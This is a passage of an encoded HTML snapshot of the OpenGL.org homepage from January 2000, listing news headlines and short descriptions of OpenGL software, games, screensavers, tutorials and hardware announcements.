<td><input type=3D"radio" name=3D"response" value=3D"4"></td>
<td align=3Dleft><font face=3Darial color=3Dblack size=3D1>Virtual =
Reality</td></tr>
<tr>
<td><input type=3D"radio" name=3D"response" value=3D"5"></td>
<td align=3Dleft><font face=3Darial color=3Dblack size=3D1>Visualizaton =
& Simulation</td></tr>
<tr>
<td><input type=3D"radio" name=3D"response" value=3D"6"></td>
<td align=3Dleft><font face=3Darial color=3Dblack =
size=3D1>Games</td></tr>
<tr><td align=3Dcenter colspan=3D2>
<input type=3D"hidden" name=3D"what" value=3D"votessi">
<input type=3D"hidden" name=3D"q" value=3D"10">
<input type=3D"submit" value=3D"Submit">
</td></tr>
</table>
</form>
</center></font></body></html>

							<br>
							<a href=3D"http://www.opengl.org/Pearl/robpoll.cgi?start"><font =
size=3D"2" face=3D"Arial,Helvetica,sans-serif" color=3D"black">View =
previous polls</font></a>
							<hr width=3D"80%">
							<br>
						</center>
					</td>
					<td width=3D"3" bgcolor=3D"black" valign=3D"top" rowspan=3D"2"><img =
src=3D"Images/dot_clear.gif" width=3D"3" height=3D"1"></td>
					<td width=3D"6" bgcolor=3D"white" valign=3D"top" =
rowspan=3D"2">&nbsp;</td>
					<td valign=3D"top" colspan=3D"5"><br>
						<center><A =
HREF=3D"http://adex3.flycast.com/server/socket/127.0.0.1:2800/click/OpenG=
Lorg/HomePageDailyNews/123"> <IMG =
SRC=3D"http://adex3.flycast.com/server/socket/127.0.0.1:2800/ad/OpenGLorg=
/HomePageDailyNews/123" border=3D0 width=3D468 =
height=3D60></a><br></center>

						<br>
					</td>
					<td rowspan=3D"2" align=3D"left"><img height=3D"1" width=3D"6" =
src=3D"Images/dot_clear.gif"></td>
					<td width=3D"3" bgcolor=3D"black" align=3D"left" rowspan=3D"3"><img =
src=3D"Images/dot_clear.gif" width=3D"3" height=3D"1"></td>
					<td width=3D"2" bgcolor=3D"#7a7c88" rowspan=3D"4"><img =
src=3D"Images/dot_clear.gif" width=3D"2" height=3D"1"></td>
					<td width=3D"10" align=3D"left" bgcolor=3D"#bbcccc" =
rowspan=3D"4"><img src=3D"Images/dot_clear.gif" width=3D"10" =
height=3D"1"></td>
				</tr>
				<tr>
					<td valign=3D"top"><font size=3D"4" =
face=3D"Arial,Helvetica,sans-serif" color=3D"#006400"><b>OpenGL Current =
Headlines </b></font>
						<table border=3D"0" cellpadding=3D"0" cellspacing=3D"0">
							<tr>
								<td><font face=3D"Arial,Helvetica,sans-serif" size=3D"1"><b>News =
Type: </b></font></td>
								<td align=3D"right"><img src=3D"Images/symbols/Gen.gif" =
hspace=3D"2" width=3D"25" height=3D"17" align=3D"absmiddle"></td>
								<td align=3D"left"><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"1">General </font></td>
								<td align=3D"right"><img src=3D"Images/symbols/Dev.gif" =
hspace=3D"2" width=3D"25" height=3D"17" align=3D"absmiddle"></td>
								<td align=3D"left"><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"1">Developer </font></td>
								<td align=3D"right"><img src=3D"Images/symbols/Apps.gif" =
hspace=3D"2" width=3D"25" height=3D"17" align=3D"absmiddle"></td>
								<td align=3D"left"><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"1">Applications &amp; Games </font></td>
								<td align=3D"right"><img src=3D"Images/symbols/Chip.gif" =
hspace=3D"2" width=3D"25" height=3D"17" align=3D"absmiddle"></td>
								<td align=3D"left"><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"1">Accelerators &amp; Chips </font></td>
							</tr>
						</table>
						<br>
						<img src=3D"Images/symbols/Gen.gif" hspace=3D"2" width=3D"25" =
height=3D"17" align=3D"left"><a =
href=3D"http://www.sgi.com/newsroom/press_releases/2000/january/ogl_sampl=
e.html"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b>SGI Release =
OpenGL Sample Implementation to Open Source =
Community</b></font></a><b><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><a =
href=3D"http://www.starstonesoftware.com/eots/"><br>
						</a></font></b><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2" color=3D"#ce0000"><i>01/26/00</i></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"> SGI has just released =
source code for its OpenGL Sample Implementation to the open source =
community. The Sample Implementation is a reference implementation of =
the OpenGL, GLU, and GLX APIs, and also serves as the basis for almost =
all vendor-supported OpenGL hardware drivers in existence today. This is =
a major step in ensuring the widespread availability of high-quality, =
high-performance OpenGL drivers for the Linux platform. The OpenGL =
Sample Implementation source code is available for download from SGI's =
open source developer Web site at <a =
href=3D"http://oss.sgi.com">http://oss.sgi.com</a>. The <a =
href=3D"http://oss.sgi.com/projects/ogl-sample/faq.html">FAQ</a> =
explains more about the sample implementation, its impact and how this =
is a very open license!<br>
						<br>
						</font><font size=3D"2"><img src=3D"Images/symbols/Apps.gif" =
hspace=3D"2" width=3D"25" height=3D"17" align=3D"left" =
border=3D"0"></font><a =
href=3D"http://www.nichimen.com/news/index.shtml?page=3Dnews/mirai-1-1/mi=
rai-1-1"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b>Mirai v 1.1 =
OpenGL Animation System enhances speed and adds =
features</b></font></a><a =
href=3D"http://www.starstonesoftware.com/eots/"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b><br>
						</b></font></a><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2" color=3D"#ce0000"><i>01/26/00</i></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"> Mirai is a integrated =
2D/3D editor and animation system for game developers. The new version =
enhances render speed supports depth of filed and orthographic =
rendering, adds more geometry and skeletal animation tools, adds =
flipbooks and animation curves, and more.<br>
						<br>
						</font><font size=3D"2"><img src=3D"Images/symbols/Apps.gif" =
hspace=3D"2" width=3D"25" height=3D"17" align=3D"left" =
border=3D"0"></font><a =
href=3D"http://innovation3d.sourceforge.net/"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b>Innovation3D =
OpenGL modeler for Linux (beta)</b></font></a><a =
href=3D"http://www.starstonesoftware.com/eots/"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b><br>
						</b></font></a><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2" color=3D"#ce0000"><i>01/25/00</i></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"> Inovation3D is a =
well-featured, open source, OpenGL-accelerated 3D modeling program =
developed for Linux using the QT2.0 interface . It lets you: model with =
splines, meshes, and surfaces; sweep/revolve a spline into a triangle =
mesh or a Nurbs surface; modify object properties; texture map and fine =
tune the mapping coordinates with the UVEditor; create keyframe =
animations, using IK and skeletal deformation; and animate colors and UV =
coordinates.<br>
						<br>
						</font><font size=3D"2"><img src=3D"Images/symbols/Apps.gif" =
hspace=3D"2" width=3D"25" height=3D"17" align=3D"left" =
border=3D"0"></font><a href=3D"http://www.gotm.org/marble/"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b>Crazy Marbles =
game adds OpenGL support</b></font></a><a =
href=3D"http://www.starstonesoftware.com/eots/"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b><br>
						</b></font></a><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2" color=3D"#ce0000"><i>01/25/00</i></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"> Saw on <a =
href=3D"http://www.voodooextreme.com/">Voodoo Extreme</a> a note that =
Crazy Marbles, the winner of the Golden Oldies contest, now includes =
support for OpenGL Crazy Marbles is game where you guide a marble =
through an obstacle range and try to reach the end as quickly as =
possible. 3 level demo version available<br>
						<br>
						</font><a href=3D"http://www.idsoftware.com/q1source/"><font =
size=3D"2"><img src=3D"Images/symbols/Dev.gif" hspace=3D"2" width=3D"25" =
height=3D"17" align=3D"left" border=3D"0"></font></a><a =
href=3D"http://www.sd.nl/demogl/"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b>DemoGL v 1.2 =
visual &amp; audio fx synchronization tools add GeForce support =
</b></font></a><a href=3D"http://www.starstonesoftware.com/eots/"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b><br>
						</b></font></a><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2" color=3D"#ce0000"><i>01/25/00</i></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"> DemoGL for Win32 lets =
you to time, synch and play OpenGL powered effects together with MP3 =
music The SDK comes with example code and complete documentation. DemoGL =
is currently available for Visual C++ version 5 and 6. It is free for =
graphical demos and other non commercial applications. The new version =
fixes memory leak and adds support for GeForce extensions<br>
						<br>
						</font><font size=3D"2"><img src=3D"Images/symbols/Apps.gif" =
hspace=3D"2" width=3D"25" height=3D"17" align=3D"left" =
border=3D"0"></font><a href=3D"http://altern.org/zu/quantum.html"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b>Quantum Galaxy =
OpenGL screensaver</b></font></a><a =
href=3D"http://www.starstonesoftware.com/eots/"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b><br>
						</b></font></a><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2" color=3D"#ce0000"><i>01/25/00</i></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"> A slick looking =
screensaver that takes full advantage of OpenGL.<br>
						<br>
						</font><font size=3D"2"><img src=3D"Images/symbols/Apps.gif" =
hspace=3D"2" width=3D"25" height=3D"17" align=3D"left" =
border=3D"0"></font><a href=3D"http://www.mindrover.com"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b>MindRover =
OpenGL game free add-on components</b></font></a><a =
href=3D"http://www.starstonesoftware.com/eots/"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b><br>
						</b></font></a><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2" color=3D"#ce0000"><i>01/25/00</i></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"> Coginitoy has released =
two free components that extend the funtionality of MindRover: Advanced =
Logic for programming your vehicle and Health sensors for vehicle =
repair. In MindRover you are a researcher on Europa. In your free time =
you re-program the vehicles to race around the hallways, battle it out =
with mini lasers and rocket launchers, and navigate through mazes. =
Reviwed on <a =
href=3D"http://www.gamepost.com/reviews/mindrover.html">Gamepost</a>.<br>=

						<br>
						</font><a href=3D"http://www.idsoftware.com/q1source/"><font =
size=3D"2"><img src=3D"Images/symbols/Dev.gif" hspace=3D"2" width=3D"25" =
height=3D"17" align=3D"left" border=3D"0"></font></a><a =
href=3D"http://www.jausoft.com"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b>GL4Java 2.1.3.2 =
adds support for Mesa 3.1 (with OpenGL 1.2 features) and GLU =
1.2</b></font></a><a =
href=3D"http://www.starstonesoftware.com/eots/"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b><br>
						</b></font></a><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2" color=3D"#ce0000"><i>01/25/00</i></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"> Spazz3D for Win9x/NT =
lets you design, build, assign interactivity and animations to 3-D =
scenes &amp; Text. It outputs AVI or VRML 97 fies. OpenGL is used for =
lighting, texturing and rendering. A screensaver is included that lets =
you play your VRML worlds<br>
						<br>
						</font><font size=3D"2"><img src=3D"Images/symbols/Apps.gif" =
hspace=3D"2" width=3D"25" height=3D"17" align=3D"left" =
border=3D"0"></font><a =
href=3D"http://www.gamespot.com/action/sof/index.html"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b>Soldier of =
Fortune OpenGL game demo now available.</b></font></a><a =
href=3D"http://www.starstonesoftware.com/eots/"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b><br>
						</b></font></a><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2" color=3D"#ce0000"><i>01/25/00</i></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"> In Activision's SOF, you =
play the role of a military mercenary and hit the road. You'll have to =
use your reflexes and your wits to negotiate tense hostage situations or =
take down terrorist encampments in any number of international locales; =
from the dark subways of New York City to the roof of a speeding train =
in Russia. Requires an OpenGL accelerator.<br>
						<br>
						</font><font size=3D"2"><img src=3D"Images/symbols/Apps.gif" =
hspace=3D"2" width=3D"25" height=3D"17" align=3D"left" =
border=3D"0"></font><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2"><img src=3D"News/Images/altered.jpg" hspace=3D"2" =
width=3D"93" height=3D"70" align=3D"right" border=3D"0"></font><a =
href=3D"http://www.AlteredWorlds.com/"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b>Altered Worlds =
OpenGL screensaver now for Linux</b></font></a><a =
href=3D"http://www.starstonesoftware.com/eots/"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b><br>
						</b></font></a><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2" color=3D"#ce0000"><i>01/21/00</i></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"> Altered Worlds Free 3D =
OpenGL screensavers now run on Linux in addition to Win9x/NT. The Linux =
version also lets you run a spinning 3D desktop on your root window. =
Download is free and includes several screensavers.<br>
						<br>
						</font><font size=3D"2"><img src=3D"Images/symbols/Apps.gif" =
hspace=3D"2" width=3D"25" height=3D"17" align=3D"left" =
border=3D"0"></font><a href=3D"http://www.spazz3d.com"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b>Spazz3D authors =
VRML using OpenGL rendering</b></font></a><a =
href=3D"http://www.starstonesoftware.com/eots/"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b><br>
						</b></font></a><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2" color=3D"#ce0000"><i>01/21/00</i></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"> Spazz3D for Win9x/NT =
lets you design, build, assign interactivity and animations to 3-D =
scenes &amp; Text. It outputs AVI or VRML 97 fies. OpenGL is used for =
lighting, texturing and rendering. A screensaver is included that lets =
you play your VRML worlds<br>
						<br>
						</font><font size=3D"2"><img src=3D"Images/symbols/Apps.gif" =
hspace=3D"2" width=3D"25" height=3D"17" align=3D"left" =
border=3D"0"></font><a =
href=3D"http://www.demonews.com/files/screensavers/dstrangesaver.asp"><fo=
nt face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b>Strangesaver =
runs OpenGL apps as screensavers</b></font></a><a =
href=3D"http://www.starstonesoftware.com/eots/"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b><br>
						</b></font></a><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2" color=3D"#ce0000"><i>01/20/00</i></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"> Saw on DemoNews that in =
addition to running demos recorded in Quake, QUake II, Quake III, =
Half-Life, the Strangesaver screensaver now runsany executable as a =
screensaver, allowing users to run Open GL demos as screensavers The =
StrangeSaver Demos pack comes with three OpenGL demos, Colfire, Arc and =
SpringMatrix, (the pick from the <a =
href=3D"http://videogamer.dhs.org/">OpenGL Challenge</a>.<br>
						<br>
						</font><a href=3D"http://www.idsoftware.com/q1source/"><font =
size=3D"2"><img src=3D"Images/symbols/Dev.gif" hspace=3D"2" width=3D"25" =
height=3D"17" align=3D"left" border=3D"0"></font></a><a =
href=3D"http://www.demonews.com/hosted/nehe/opengl.htm"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b>OpenGL fog =
tutorial</b></font></a><a =
href=3D"http://www.starstonesoftware.com/eots/"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b><br>
						</b></font></a><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2" color=3D"#ce0000"><i>01/20/00</i></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"> Here is a pretty short =
tutorial from NeHe Producitons aimed at teaching you the art of fog =
using OpenGL. You'll learn how to use 3 different fog filters, how to =
change the color of the fog, and how to set how far into the screen the =
fog starts and how far into the screen it ends. Definitely a nice effect =
to know! This is the 16th OpenGL tutorial on this excellent resources =
site.<br>
						<br>
						</font><img src=3D"Images/symbols/Gen.gif" hspace=3D"2" =
width=3D"25" height=3D"17" align=3D"left"><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"><img =
src=3D"News/Images/Linux_Mini.jpg" hspace=3D"2" width=3D"50" =
height=3D"45" align=3D"right" border=3D"0"></font><a =
href=3D"http://www.nvidia.com/Marketing/NewsAndEvents/Pages.nsf/pages/pr_=
011800"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b>NVIDIA, SGI and =
VA Linux To Bring OpenGL 1.2 To Desktop Linux</b></font></a><a =
href=3D"http://www.starstonesoftware.com/eots/"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b><br>
						</b></font></a><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2" color=3D"#ce0000"><i>01/19/00</i></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"> NVIDIA (3D graphics =
hardware and software) , SGI (3D &amp; OpenGL) and VA Linux Systems (2D =
graphics and multi-monitor work) announced they will collaborate on the =
industry's first 100% OpenGL 1.2-conformant hardware - accelerated =
graphics subsystem for Linux workstations. The resulting NVIDIA-based =
desktops will be the first to provide hardware 3D transform and =
lighting, hardware 2D and video acceleration, video overlay, =
multi-monitor capability and full native OpenGL conformance under =
Linux.<br>
						</font><font face=3D"Arial,Helvetica,sans-serif" size=3D"2"><br>
						</font><a href=3D"http://www.idsoftware.com/q1source/"><img =
src=3D"Images/symbols/Dev.gif" hspace=3D"2" width=3D"25" height=3D"17" =
align=3D"left" border=3D"0"></a><a =
href=3D"http://www.math.tamu.edu/~eberle/pandc.html"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b>Physically =
based modeling using OpenGL - examples &amp; source</b></font></a><a =
href=3D"http://www.starstonesoftware.com/eots/"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b><br>
						</b></font></a><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2" color=3D"#ce0000"><i>01/19/00</i></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"> Three source code demos =
based on physically based modeling: particle systems, Spring coupled =
particle system to make a deformable sphere, and rigid body dynamics =
simulation of a cube.<br>
						<br>
						</font><font size=3D"2"><img src=3D"Images/symbols/Apps.gif" =
hspace=3D"2" width=3D"25" height=3D"17" align=3D"left" =
border=3D"0"></font><a =
href=3D"http://www.3dfiles.com/screensavers/gballs.shtml"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b>GBalls OpenGL =
screensaver</b></font></a><a =
href=3D"http://www.starstonesoftware.com/eots/"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular"><b><br>
						</b></font></a><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2" color=3D"#ce0000"><i>01/19/00</i></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"> <a =
href=3D"http://www.voodooextreme.com/v">Voodoo Extreme</a> notes a new =
OpenGL screensaver with dancing balls, much color, some effects.<br>
						<br>
						</font><font size=3D"4" face=3D"Arial,Helvetica,sans-serif" =
color=3D"#006400"><b>OpenGL Recent Headlines </b></font><font size=3D"4" =
face=3D"Arial,Helvetica,sans-serif" color=3D"#006633"><b>- </b></font><a =
href=3D"News/RecentNews.html"><font size=3D"2" =
face=3D"Arial,Helvetica,sans-serif" color=3D"#000010"><b>View Recent =
Headlines with Descriptions </b></font></a><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"><br>
						</font>
						<p><font size=3D"2"><img src=3D"Images/symbols/Apps.gif" =
hspace=3D"2" width=3D"25" height=3D"17" align=3D"left" =
border=3D"0"></font><a =
href=3D"http://www.cyberbotics.com/webots/index.html"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular" =
size=3D"2"><b>Webots 2 OpenGL-accelerated mobil robot =
simulator</b></font></a><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2"> </font><font face=3D"Arial,Helvetica,sans-serif" size=3D"2" =
color=3D"#ce0000"><i>01/17/00</i></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"><br>
						<br>
						</font><font size=3D"2"><img src=3D"Images/symbols/Apps.gif" =
hspace=3D"2" width=3D"25" height=3D"17" align=3D"left" =
border=3D"0"></font><a href=3D"http://www.xdsoft.com/explorer/"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular" size=3D"2"><b>3D =
Exploration 1.2 OpenGL-accelerated 3D viewer and format =
converter</b></font></a><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2"> </font><font face=3D"Arial,Helvetica,sans-serif" size=3D"2" =
color=3D"#ce0000"><i>01/17/00</i></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"><br>
						<br>
						</font><font size=3D"2"><img src=3D"Images/symbols/Apps.gif" =
hspace=3D"2" width=3D"25" height=3D"17" align=3D"left" =
border=3D"0"></font><a =
href=3D"http://www.demonews.com/hosted/reallyslick/"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular" =
size=3D"2"><b>Euphoria OpenGL screensaver</b></font></a><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"> </font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2" =
color=3D"#ce0000"><i>01/17/00</i></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"><br>
						<br>
						</font><font size=3D"2"><img src=3D"Images/symbols/Chip.gif" =
hspace=3D"2" width=3D"25" height=3D"17" align=3D"left"></font><a =
href=3D"http://www.3dlabs.com/press/releases/Itanium.html"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular" =
size=3D"2"><b>3DLabs shows OpenGL ICD on Intel IA-64 (Itanium) =
Processor</b></font></a><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2"> </font><font face=3D"Arial,Helvetica,sans-serif" size=3D"2" =
color=3D"#ce0000"><i>01/17/00</i></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"><br>
						<br>
						</font><a href=3D"http://www.idsoftware.com/q1source/"><font =
size=3D"2"><img src=3D"Images/symbols/Dev.gif" hspace=3D"2" width=3D"25" =
height=3D"17" align=3D"left" border=3D"0"></font></a><a =
href=3D"http://members.tripod.de/mspoerl/m_index.html"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular" =
size=3D"2"><b>Sample code &amp; docs for character animation and motion =
capture using OpenGL </b></font></a><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2" =
color=3D"#ce0000"><i>01/17/00</i></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"><br>
						<br>
						</font><a href=3D"http://www.idsoftware.com/q1source/"><font =
size=3D"2"><img src=3D"Images/symbols/Dev.gif" hspace=3D"2" width=3D"25" =
height=3D"17" align=3D"left" border=3D"0"></font></a><a =
href=3D"http://morgner.com/ogl/"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular" =
size=3D"2"><b>OglCLib C++ class for 3D shapes using OpenGL =
</b></font></a><font face=3D"Arial,Helvetica,sans-serif" size=3D"2" =
color=3D"#ce0000"><i>01/17/00</i></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"><br>
						<br>
						</font><a href=3D"http://www.idsoftware.com/q1source/"><font =
size=3D"2"><img src=3D"Images/symbols/Dev.gif" hspace=3D"2" width=3D"25" =
height=3D"17" align=3D"left" border=3D"0"></font></a><a =
href=3D"http://threedsia.sourceforge.net/about.html"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular" =
size=3D"2"><b>3dsia OpenGL virtual reality shell for =
Linux</b></font></a><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2"> </font><font face=3D"Arial,Helvetica,sans-serif" size=3D"2" =
color=3D"#ce0000"><i>01/12/00</i></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"><br>
						<br>
						</font><a href=3D"http://www.idsoftware.com/q1source/"><font =
size=3D"2"><img src=3D"Images/symbols/Dev.gif" hspace=3D"2" width=3D"25" =
height=3D"17" align=3D"left" border=3D"0"></font></a><a =
href=3D"http://www.nvidia.com/Marketing/Developer/DevRel.nsf/3e0a464ce391=
addc8825681700740113/f706b8da926e1c548825685c006763d8/$FILE/OpenGL_Perf_F=
AQv1.doc"><font face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular" =
size=3D"2"><b>GeForce 256 OpenGL T&amp;L Performance FAQ =
</b></font></a><font face=3D"Arial,Helvetica,sans-serif" size=3D"2" =
color=3D"#ce0000"><i>01/12/00</i></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2">.<br>
						<br>
						</font><font size=3D"2"><img src=3D"Images/symbols/Apps.gif" =
hspace=3D"2" width=3D"25" height=3D"17" align=3D"left" =
border=3D"0"></font><a href=3D"http://www.treadmarks.com/"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular" =
size=3D"2"><b>Tread Marks OpenGL tank racing &amp; combat game is =
released</b></font></a><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2"> </font><font face=3D"Arial,Helvetica,sans-serif" size=3D"2" =
color=3D"#ce0000"><i>01/12/00</i></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"><br>
						<br>
						</font><font size=3D"2"><img src=3D"Images/symbols/Apps.gif" =
hspace=3D"2" width=3D"25" height=3D"17" align=3D"left" =
border=3D"0"></font><a href=3D"http://turbolode.homepage.com/"><font =
face=3D"Arial,Helvetica,Geneva,Swiss,SunSans-Regular" =
size=3D"2"><b>Turbo Load OpenGL game - seeks testers</b></font></a><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"> </font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2" =
color=3D"#ce0000"><i>01/11/00</i></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"><br>
						<br>
						</font><a href=3D"News/Archives99/Nov99.html"><font =
face=3D"Arial,Helvetica,sans-serif"><b>News &amp; Features =
</b></font></a><font face=3D"Arial,Helvetica,sans-serif">from November =
1999 includes the following items among others: </font></p>
						<div align=3D"left">
							<ul>
								<li><font face=3D"Arial,Helvetica,sans-serif" size=3D"2">Synapes =
3D interface goes Open Source</font>
								<li><font face=3D"Arial,Helvetica,sans-serif" size=3D"2">3D MiDi =
is like OpenGL winAMP for Midi</font>
								<li><font face=3D"Arial,Helvetica,sans-serif" size=3D"2">Toon3D =
game creator engine</font>
								<li><font face=3D"Arial,Helvetica,sans-serif" size=3D"2">Siz =
lesson OpenGL game tutorial</font>
								<li><font face=3D"Arial,Helvetica,sans-serif" size=3D"2">New =
versions of GLSetup</font>
								<li><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2">Balder's Gate 2 to use OpenGL</font>
								<li><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2">Netreality for Linux - searches interenet</font>
							</ul>
							<p><font face=3D"Arial,Helvetica,sans-serif"><img height=3D"14" =
width=3D"300" src=3D"Images/OGL_Main4.gif" border=3D"0" alt=3D"Footer =
graphic"> </font><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2"><br>
							</font></p>
							<p><font face=3D"Arial,Helvetica,sans-serif" size=3D"2">For =
questions or comments about this web site, please send email to <a =
href=3D"mailto:webmaster@opengl.org?subject=3DGeneral =
Comment">webmaster@opengl.org</a> </font><font =
face=3D"Arial,Helvetica,sans-serif">. </font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"2"><br>
							Site created and maintained by <a =
href=3D"http://www.artlab.com">ARTLab</a> </font></p>
							<p><font face=3D"Arial,Helvetica" color=3D"#006400"><b>OpenGL is =
a registered trademark of Silicon Graphics Inc</b></font><font =
face=3D"Arial,Helvetica"><b>.</b></font><font =
face=3D"Arial,Helvetica,sans-serif" size=3D"1"> </font><br>
							</p>
							<p><br>
						</div>
					</td>
					<td valign=3D"top"><img height=3D"10" width=3D"6" =
src=3D"Images/dot_clear.gif"></td>
					<td bgcolor=3D"black" width=3D"1"><img height=3D"10" width=3D"2" =
src=3D"Images/dot_clear.gif"><img height=3D"10" width=3D"1" =
src=3D"Images/dot_clear.gif"></td>
					<td valign=3D"top" width=3D"1" bgcolor=3D"#dedede"><img =
height=3D"10" width=3D"3" src=3D"Images/dot_clear.gif"></td>
					<td width=3D"150" valign=3D"top" bgcolor=3D"#dedede">
						<div align=3D"left">
							<font face=3D"Arial,Helvetica,sans-serif"><b>
							<table border=3D"0" cellpadding=3D"2" cellspacing=3D"0">
								<tr>
									<td><font face=3D"Arial,Helvetica,sans-serif"><b><img =
height=3D"11" width=3D"6" src=3D"Images/redarrow.gif" hspace=3D"2"> =
OpenGL Classifieds </b></font><font face=3D"Arial,Helvetica,sans-serif" =
size=3D"2"><br>
										Offer a job, seek a job, post services in the <a =
href=3D"http://www.opengl.org/Boards/Classifieds/Classifieds.html">classi=
fieds</a>.</font></td>
								</tr>
							</table>
							</b></font>
							<p><font face=3D"Arial,Helvetica,sans-serif"><b>
							<table border=3D"0" cellpadding=3D"2" cellspacing=3D"0">
								<tr>
									<td width=3D"150"><font =
face=3D"Arial,Helvetica,sans-serif"><b><img height=3D"11" width=3D"6" =
src=3D"Images/redarrow.gif" hspace=3D"2"> Developer Features =
